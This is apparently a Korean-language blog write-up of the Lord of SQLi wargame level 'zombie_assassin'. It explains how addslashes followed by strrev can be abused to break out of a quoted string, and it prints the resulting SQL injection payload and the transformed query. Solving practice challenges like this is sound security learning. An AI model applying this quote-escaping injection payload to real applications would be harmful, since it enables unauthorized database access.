write-up(web)/los

[LOS] zombie_assassin

chanchand 2023. 1. 22. 05:36
반응형

문제


https://los.rubiya.kr/chall/zombie_assassin_eac7521e07fe5f298301a44b61ffeec0.php

 

https://los.rubiya.kr/chall/zombie_assassin_eac7521e07fe5f298301a44b61ffeec0.php

 

los.rubiya.kr

 

 

 

문제풀이


 

이전 문제와 동일하게 역슬래시를 이용하여 작은따옴표를 일반문자로 처리해주어야 한다.

작은따옴표는 필터 처리 되어 있으므로, addslashes 함수를 이용한다.

addslashes 함수는 작은따옴표, 큰따옴표, 널문자 앞에 역슬래시(\')를 붙여주는데 strrev 함수로 인해 '\ 와 같은 형태가 된다.

이를 이용하여 큰따옴표를 입력하면 아래와 같은 형태가 된다.

 

select id from prob_zombie_assassin where id='"' and pw='%231=1||'

=> addslashes, strrev 함수 적용

select id from prob_zombie_assassin where id=' "\' and pw= '||1=1%23'

반응형

'write-up(web) > los' 카테고리의 다른 글

[LOS] dragon  (0) 2023.01.23
[LOS] nightmare  (0) 2023.01.22
[LOS] succubus  (0) 2023.01.22
[LOS] assassin  (0) 2023.01.22
[LOS] giant  (0) 2023.01.22